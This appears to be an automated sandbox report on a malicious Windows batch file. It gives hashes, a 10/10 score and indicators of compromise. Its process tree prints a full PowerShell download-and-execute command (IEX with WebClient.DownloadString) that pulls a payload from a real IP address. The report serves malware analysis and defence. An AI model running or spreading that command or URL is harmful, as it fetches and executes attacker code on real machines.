47ec07c77cf326da4daa229be123e052dd6dd66171a3b6fb323dce3240b7c7a8 | Triage

Analysis

max time kernel
115s
max time network
140s
platform
windows10_x64
resource
win10v200430
submitted
02-06-2020 10:10

Sharing

Report Analysis Logs

General

Target

6d8087f6ec720945a32c8ee912884724.bat
Size

222B
MD5

f215a676b7ae355bb7b7d9288ef0cac1
SHA1

86d732a573f84185b33555e496bcf0b86316f4ac
SHA256

47ec07c77cf326da4daa229be123e052dd6dd66171a3b6fb323dce3240b7c7a8
SHA512

ec06287d161ea1fe6a44d215a0975a9a3b4570b2c3054e26041bfd6b31e29ef3e73652665a5d91f76cffdcc2b7972381028ac2c7be22a2437300624ea0d42438

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/6d8087f6ec720945a32c8ee912884724

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2696 WerFault.exe
Token: SeBackupPrivilege 2696 WerFault.exe
Token: SeDebugPrivilege 2696 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe
2696	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2696 2152 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6d8087f6ec720945a32c8ee912884724.bat"
1⤵
PID:1820

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/6d8087f6ec720945a32c8ee912884724');Invoke-DHFGQQVRIHKXEIL;Start-Sleep -s 10000"
2⤵
PID:2152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2152 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:2696

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2696-0-0x0000000004840000-0x0000000004841000-memory.dmp

Filesize
4KB

Download
memory/2696-1-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

Filesize
4KB

Download
memory/2696-2-0x00000000053F0000-0x00000000053F1000-memory.dmp

Filesize
4KB

Download